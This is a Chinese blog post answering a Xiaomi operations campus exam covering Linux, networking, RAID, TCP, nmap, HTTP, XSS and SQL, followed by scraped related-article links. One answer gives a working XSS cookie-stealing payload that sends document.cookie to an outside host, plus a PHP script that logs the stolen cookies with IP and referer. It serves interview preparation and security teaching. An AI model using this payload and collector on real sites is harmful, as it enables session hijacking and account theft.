小米运维部14年校招笔试题A的个人答案
15年准备实习生面试时答的题,仅供参考
具体题目详见 http://www.tuicool.com/articles/eYRZBr
http://noops.me/?p=1154
一、linux基础
1)linux系统中如何获取pid为100的进程所监听的tcp端口,请给出详细命令?
【答】
方法一:
1
|
netstat -nlg | grep 1950
|
2
|
[root@localhost pierre] # netstat -nlp | grep 1950
|
3
|
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1950/sshd
|
4
|
tcp 0 0 :::22 :::* LISTEN 1950/sshd
|
方法二:
1
|
ss -pl | grep 1950
|
2
|
[root@localhost pierre] # ss -pl | grep 1950
|
3
|
0 128 ::: ssh :::* users :(( "sshd" ,1950,4))
|
4
|
0 128 *: ssh *:* users :(( "sshd" ,1950,3))
|
方法三:
1
|
lsof -Pnl +M -i4| grep 1950
|
2
|
[root@localhost pierre] # lsof -Pnl +M -i4|grep 1950
|
3
|
sshd 1950 0 3u IPv4 12599 0t0 TCP *:22 (LISTEN)
|
三种命令都可以实现,个人三种都会用,比较偏爱的是ss,当然有时候会忘记,这次正好总结一下
缺点:出来的结果,不一定是目的结果,grep的不一定是pid
2)如何查找在/home/work/log/路径下,修改时间在3天以前的文件,并将这些文件mv到/home/work/log/backup下?
1
|
【答】
|
1
|
find /home/work/log -mtime +3 - exec mv {} /home/work/log/backup/{} \;
|
ps.补充几点
linux下find支持-mmin参数,以分为单位
find /home -mmin +30 查30分钟前改动过的文件
find -mmin -10 ! -name "." 不包括 "." -mmin参数
find /home/work/log -mtime +3 -exec mv {} /home/work/log/backup/{} \;
find: missing argument to `-exec' 注意: “\;” 部分 不能有空格
1
|
[pierre@localhost ~]$ stat .
|
File: `.'
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: fd00h/64768d Inode: 262159 Links: 27
Access: (0700/drwx------) Uid: ( 500/ pierre) Gid: ( 500/ pierre)
Access: 2015-08-24 19:05:16.109807264 +0800
Modify: 2015-08-24 19:05:14.028652856 +0800
Change: 2015-08-24 19:05:14.028652856 +0800
atime mtime ctime的区别可以从stat的数据中发现一二,详细看我很久以前一篇水文:点我
3)操作系统中,父进程需要传输一份1KB的数据给子进程,有几种方法可以实现?并请给出一种方法的代码实现(语言不限)?
【答】
管道?内存共享?socket? 这题目先留着,等有时间再好好答
4)需要抓取eth1网卡上从127.10.32.5发到本机8080端口的数据包,请列举你能想到的工具或者方法?并给出一个具体的方法的实现(详细命令或者代码)?
【答】
常用抓包工具就是tcpdump和wireshark。一般linux发行版会自带tcpdump(部分阉割版没有,像大疆无人机的)。而我们在本地电脑分析时可能偏爱wireshark。
本文假设是在服务器端抓包:
方法一:
1
|
tcpdump -i eth1 src host 127.10.32.5 and dst port 8080
|
在实战中,由于我对tcpdump不算特别熟,偏爱把包统统抓下,再移到本地用wireshark的显示过滤进行包的分析。ps.命令行界面分析数据包略蛋疼额
方法二:
1
|
tcpdump -w test .cap
|
抓下所有包
利用
1
|
python -m SimpleHTTPServer
|
开启一个简易server,将包传到本地电脑
在wireshark的filter里填写
1
|
ip.src==127.10.32.5 && tcp.dstport==8080
|
// 这里端口是要指明tcp还是udp的, 端口是一种抽象的软件结构。8080端口可以同时为udp和tcp
wireshark的详细用法看我的这篇博客:点我
二、系统/网络
给一台服务器安装linux操作系统,请回答在安装和使用过程中遇到的一些问题:
1)服务器有6块600G的SAS磁盘,通过阵列卡做RAID5,请问实际操作系统可使用的空间是多大?
【答】
raid就是所谓的独立磁盘列阵,通过廉价的磁盘,实现数据的高可用。
常见的raid方法有:raid 0 ;raid 1 ;raid 0+1 ;raid 10等
RAID 0是组建磁盘阵列中最简单的一种形式,只需要2块以上的硬盘即可,成本低,可以提高整个磁盘的性能和吞吐量。RAID 0没有提供冗余或错误修复能力,但实现成本是最低的。
RAID 1称为磁盘镜像,原理是把一个磁盘的数据镜像到另一个磁盘上,也就是说数据在写入一块磁盘的同时,会在另一块闲置的磁盘上生成镜像文件,在不影响性能情况下最大限度的保证系统的可靠性和可修复性上.
……
RAID 5 算是一种在RAID0和RAID1之间折中的做法(废话,其他raid也基本是的)。没有独立的奇偶校验盘,所有校验信息分散放在所有磁盘上,只是在存储空间上为N-1。所以可用是5*600=3000G
2)网络管理员告诉我们这台服务器使用10.0.0.128/26段中的第一个地址,网关是这段地址中的最后一个地址。请列出机器的IP地址、子网掩码和网关。
【答】
这个就比较简单,只要学过计算机网络的基本都会了解。
10.0.0.128/26 最后一个化成二进制:10.0.0.1000 0000 网络号就是这个,主机号就是后面六位数字,子网掩码是:255.255.255.192
可用ip一般会去掉第一个网络号ip和最后一个广播ip。所以第一个可用的ip地址是10.0.0.129,如题假设的网关就是10.0.0.191(网关并不一定就是最后一个ip)
3)服务器交付业务方使用后,使用netstat命令发现有大量的time_wait连接,请简述time_wait连接存在的原因。
【答】
这个可以看我这篇博文:点我 (还没完全写完【掩面)想以最简单的话,阐述出来,所以写写删山,一直没完。 此外这个人的这个文章还是可以的:点我 非常详细,推荐
什么时候会出现time_wait?
通信双方建立TCP连接后,主动关闭连接的一方就会进入TIME_WAIT状态。
time_wait存在的原因?
1)可靠地实现TCP全双工连接的终止
2)允许老的重复分节在网络中消逝
补充:
1.一般线上出现大量time_wait的重要背景是业务使用了nginx代理。由于nginx使用短链接的方式和后端大量交互,使得nginx和后端的ESTABLISHED变得很少而TIME_WAIT很多。这里就涉及到nginx的一些知识,我后续应该会把我学习nginx的笔记放出来。大家记得关注 http://ww.bearzone.cc
2.time_wait的持续时间一般是2msl(maximum segment lifetime),rfc推荐msl=2分钟,linux貌似是1 msl=30 s,win是2min.此处没有特别深刻的理解
3.
1
|
netstat -n | awk '/^tcp/{++S[$NF]} END {for(a in S) print a,S[a]}'
|
可以清晰查看当前的time_wait以及其他相似的tcp指标
4)简述TCP建立连接的过程;运维中经常nmap进行端口扫描,描述nmap进行TCP扫描的原理。
【答】
先扯两句:作为一个信息安全的学生,对安全还是小有研究,当然比较熟悉nmap的一些使用。以前貌似写过一篇博文关于nmap的,后来不知不觉就丢了,可惜!挂一篇lijiejie学长的博文吧,方便以后查看 http://www.lijiejie.com/nmap-fast-scan-large-networks/
nmap全程:Network Mapper。一个网络连接端扫描软件,用来扫端口啊,扫存活啊,扫指纹啊。由于扫描方案比较多,提供icmp、tcp和udp等多种协议,多种方案的,并且可以以一种比较猥琐的姿态实现扫描,所以还是很受欢迎的。
既然题目问的是TCP扫描,那我们就专谈TCP,以后也许会放上我对nmap的总结。
tcp syn scanning是nmap的默认扫描方式,通常被称作半开放扫描。简单而言,就是扫描时发送syn包到目的端口,如果收到syn/ack回复,那么就可以判断端口是开放的,如果收到的是rst包,那么端口就是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)简单而言,就是个三次握手建立一半的过程。
1
|
nmap -sS ***
|
tcp connect scanning则是使用API connect向目的主机端口发起完整的连接。完整的三次握手,速度必然比较慢的,一般上面这种方法不行才会使用。
nmap -sT
tcp ack scanning则是向目的主机的端口发送ack包,如果收到rst包,则说明端口没有被防火墙屏蔽;没有收到rst包,说明被屏蔽。一般用于辅助tcp syn扫描
其他还有三种TCP FIN/Xmas/NULL scanning 一般做安全的估计也没人用,ops当然也用的比较少。
5)Zmap是一个号称44分钟可以扫遍全球公网机器端口。结合TCP三次握手原理和系统编程知识,简述类似产品的设计思想,并尝试描述你的实现。
【答】
zmap以前有所耳闻,却总是和nmap的gui版zenmap搞混【掩面。上次和阿宝sin牛讨论这个时,才有所了解
参考:http://netsecurity.51cto.com/art/201308/407831.htm
如果想快速扫描全网,如果采用三次握手那种,是不可能的(无论那种做法,就算并发量达到极致,也达不到把)。而zmap采用一个非常猥琐的方法,采用无状态的方法,即向服务器发送请求时,不保持任何握手信息,而将收到的信息进行一些类似正则编码之类的处理,不对信息进行辨别。
这样避开三次握手的带来的开销,不过个人理解对返回数据的安全性和完整性带来一定挑战。
三、开发/安全
1)http keep-alive的作用是什么,有什么优缺点?
【答】
参考:http://www.cnblogs.com/huangfox/archive/2012/03/31/2426341.html
个人觉得比较好理解吧,避免一些连接的建立和重新建立。
建立连接,会伴随socket的建立等消耗系统资源的情况。
保持当前连接,同样会消耗系统资源。
所以参数的设置,应该要有一个不错的平衡。
2)简述cookie的作用,以及http cookie和session的区别和联系
【答】
老生常谈的问题,我将新建一篇文章,把我的各种总结放上来,具体请关注:www.bearzone.cc。我相信会说的非常明白!
再次我就以最简单的话来表达:
cookie的作用就是弥补http无状态的缺陷。
cookie是客户端保持对的方案,session是服务器端保持的方案
session可以通过cookie机制协助完成,也可以通过url重写或表单隐藏字段完成。
3)对于cookie劫持攻击,给出至少两种防御方案
【答】
1.httponly
目前主流的一种简易方法,设置后可以让js无法调用cookie,对于防范xss确实有一定作用,不过对方使用xss proxy之后也没什么太大的作用
2.仅通过SSL来发送cookie。如果你要求浏览器在传输之前加密cookie,在传输中就不易遭受攻击
暂时先这两个,其实都存在较大缺陷,我在想想,有没有为只的
4)xss攻击中,给出一个窃取用户浏览器cookie的xss-payload
【答】
作为一个半安全的dog,
页面构造一个这个
1
|
<script>window.open( 'http://www.bear2.cn/test.php?c=' +document.cookie)</script>
|
www.bear2.cn/test.php (这个脚本是实际不存在的)
01
|
<?php
|
02
|
$cookie = $_GET [ 'c' ];
|
03
|
$ip = getenv ( 'REMOTE_ADDR' );
|
04
|
$time = date ( "j F, Y, g:i a" );
|
05
|
$referer = getenv ( 'HTTP_REFERER' );
|
06
|
$fp = fopen ( 'cookie.txt' , 'a' );
|
07
|
fwrite( $fp , 'Cookie: ' . $cookie .'
|
08
|
IP: ' .$ip. '
|
09
|
Date and Time: ' .$time. '
|
10
|
Referer: '.$referer.'
|
11
|
12
|
13
|
');
|
14
|
fclose( $fp );
|
15
|
?>
|
就这样一个简单的demo
5)xss问题产生的本质是什么,并阐述防御方案
【答】
这个问题在《白帽子讲web安全》这本书里有过描述,个人如果扯起来、、、估计又要扯半天,因为xss又分很多种,所以、、、、
简单而言,就是1.用户的能够控制了脚本的输入 2.用户恶意拼接了脚本的输入。 (定义收到道哥对sql注入的影响,大概就是这个意思。)
防范的话,可以采用一些方法:对用户的输入实现过滤,像php里的htmlspecialchars() 这个函数来实现。
由于自己对xss理解也不是很深刻,只能简单到此,不继续扯了~
6)编码实现一个简单的http server,至少支持GET请求解析和响应,编程语言不限
【答】
额,独立完成,纸上手写、、、如果真枪实弹,鸭梨三大!!!
思路一:投机取巧型
1
|
python -m SimpleHTTPServer
|
直接调用python的模块
思路二:利用第三方的模块,半编码实现
01
|
package main
|
02
|
03
|
import (
|
04
|
"fmt"
|
05
|
"log"
|
06
|
"net/http"
|
07
|
)
|
08
|
09
|
func sayHello(w http.ResponseWriter, r *http.Request) {
|
10
|
fmt .Fprintf(w, "hello world!" )
|
11
|
}
|
12
|
func main() {
|
13
|
http.HandleFunc( "/" , sayHello)
|
14
|
err := http.ListenAndServe( ":8880" , nil)
|
15
|
if err != nil {
|
16
|
log.Fatal( "ListenAndServe: " , err.Error())
|
17
|
}
|
18
|
}
|
这是当时学go语言时,看七牛云存储ceo书模仿的一段,功能比较弱。
思路三:完全使用c/c++,不用第三方模块
难度比较大,暂时没这能力
补充:出题者貌似对思路一并不排斥~
四、数据库
某消费系统中包含2张表,用户信息表和消费流水表,结构和数据如下:
表这出现bug
1)请按要求写出上面两张表的建表sql语句;
【答】
额,由于好久没碰数据库了,只有为数不多的几次小项目用到相关sql,自己还是采用phpmyadmin、navicat for MySQL这些工具,再加上实习期间没怎么接触dba的工作,所以写sql语句生疏很多,几个关键句子都默默看了相关的书【掩面!
1
|
use test_database; #自己定义的库名
|
2
|
create table user (
|
3
|
ID int primary key AUTO_INCREMENT,
|
4
|
NAME varchar (10) not null ,
|
5
|
Balance varchar (10) not null
|
6
|
);
|
7
|
insert into user ( NAME ,Balance) values ( "A" , "19.50" );
|
其他类似,不一一列了
2)请分别写出下面两组sql语句的输出结果;
Delete from user;
Insert into user value (‘’, ‘D’, 300);
【答】
清空user表,表还在
插入新的数据,自增主键任然自增,ID为5
Truncate user;
Insert into user value (‘’, ‘D’, 300);
【答】
清空user表
插入新数据,自增主键不自增,ID为1
主要应该就是考察delete和truncate的区别吧,二者都可以清空表的内容,不过,truncate同时会清空表的自增计时器。
3)请写出能产生下面查询结果的SQL语句:
4)系统运行一段时间后,流水表的记录变得非常大,通过用户名(NAME)查询用户消费记录(FEE)时响应速度非常慢,请简述你的优化方案。
【答】
对mysql的理解不是很多,
第一映像是增加索引,还有分区表什么的。唉,由于缺乏大量数据的经验,之前也没做过类似的,所以不是很了解。
【题目评价】
1.题目是小米运维部14年校招笔试题A的题目。
2.题目稍微偏实战一点,稍不注意可能以为是简单的社招题,在大公司实习的话帮助比较大。
3.题目整体上不算特别难,从我没完全结束的答题可以看出,我的博客或印象笔记几乎都有涉及。不过现场在白纸上做的话,很多细节都记不清,这个也很麻烦!很多东西其实真没必要去强背。
欢迎到我的博客:www.bear2.cn 进行讨论
小米运维部14年校招笔试题A的个人答案相关推荐
- 关于python类的继承正确的说法是_2017美团点评的运维岗校招笔试题,测测你会几题?...
原标题:2017美团点评的运维岗校招笔试题,测测你会几题? 1.数据库:以下哪项不是HASH索引的特征? A MySQL不能确定在两个值之间大约有多少行 B 不能使用hash索引来加速ORDER BY ...
- 专访淘宝仲明:揭秘阿里运维部的故障响应机制(
[51CTO专访]在2012年12月4日召开的Velocity China大会上,大家翘首以盼的.有关淘宝双十一的分享,终于正式跟大家见面啦!虽然这一场被安排在了下午5点以后,但现场的观众们仍然很热情 ...
- 运维部门工作总结_运维部工作总结
文档来源为 : 从网络收集整理 .word 版本可编辑 . 欢迎下载支持 . 1 运维部工作总结 篇一:年终总结 ( 运维部 ) XX 年运维部工作总结 XX 年业已尾声, 我部门在公司的正确领导下, ...
- 百度运维部电子竞技大赛!
神马?运维部电子竞技大赛已经开始了!神马?第一个百度运维工程师冠军这就要产生了?神马?大家都是一个起点-- 为了让更多的热爱电子游戏的运维同学感受电子竞技大赛的氛围,参与到电子竞技大赛 ...
- 百度运维部—趣味运动会
近期我们开展了百度趣味运动会!旨在把员工们从日常繁重的工作中解脱出来,让成员彻底抛弃工作中的压力,让快乐不再压抑,将信心从此增强,把力量悄悄凝聚.我们的趣味运动会兼顾了趣味性与团队性.即竞技.娱乐.健 ...
- 运维部门工作总结_运维部技术工作总结
运维部技术工作总结运维部技术工作总结 转眼间我来到中国电信运维部宽带班工作已经三个月的时间.在这三个月的时间里,自己学习到了很多有关宽带的知识.为了更好地完成工作,总结经验,扬长避短,提高自己的业务技 ...
- 运维部门工作总结_运维部年终工作总结范文
运维部年终工作总结范文 运维, 这里指互联网运维, 通常属于技术部门, 与研发. 测试. 系统管理同为互联网产品技术支撑的 4 大部门, 这个划分在国内和国 外以及大小公司间都会多少有一些不同. 下面 ...
- 运维部知识库管理办法V1版
运维部知识库管理办法V1版 随着业务系统对于IT系统依赖性提高,IT技术愈加复杂,变更日趋频繁.系统高可用要求极大提高,快速响应各种需求,灵活支撑业务发展,高效迭代下保持稳定,运维的压力也像山一样的成 ...
- 2021暑期实习面试经验——360系统运维部(网络工程师)
[进度概览]:3.15网申--3.27笔试--4.8一面--4.15二面,目前等HR面. 笔试(3月27日) 60min 行测题:图像规律.数字规律.语义分析.逻辑分析:共40道较常规. 一面(4月8 ...
最新文章
- CV入门赛最全思路上分技巧汇总!
- 【UIKit】文本框(UITextField)及键盘遮挡处理和回收
- JAVA实现包含main函数的栈问题(《剑指offer》)
- Android开发--图形图像与动画(二)--Animation实现图像的 渐变 缩放 位移 旋转
- 使用 Optional 摆脱 NullPointException 的折磨
- pthread_cleanup_push与pthread_cleanup_pop的目的、作用
- opencv中的imread不支持中文路径的解决办法
- DebugView调试C#程序 学习总结
- c语言 gbk字模点阵数组,GBK点阵显示字库的制作和使用
- MySQL基础篇(06):事务管理,锁机制案例详解
- word正在等候其他应用程序完成OLE操作
- Java 多线程 通信 通道 (猫狗赛跑)
- 什么是死亡之 Ping 攻击?
- 模糊查询SqlParameter参数化like
- Cisco switch spanning-tree priority 0
- 只用一个div画一个小米logo
- 《淘宝店铺营销推广一册通》一2.2 选择店铺行业
- oracle数据库 dmp文件,数据库DMP文件损坏怎么修复
- 【原生js实现MVVM核心框架】
- Oracle中的commit与rollback
热门文章
- R语言入门第一集 R语言、RTools、RStudio的简介、安装与使用
- vue3中进行vuex的分包管理(typescript)
- 深度学习分类pytorch_pytorch使用转移学习的狗品种分类器
- 美团一面-20200328-1h
- cc++语言参考手册_C ++值类别快速参考:第2部分
- python简单代码画皮卡丘-用python画一只可爱的皮卡丘
- AI+MR遇冷后回暖,国内公司抢先卡位仍有风险待解
- 全球游戏收入将随着电影电视改编作品的不断增多而达到惊人水平 | 美通社头条...
- 组织行为学笔记(3)——情绪和心情
- 韩式多用动态图(甜蜜女孩)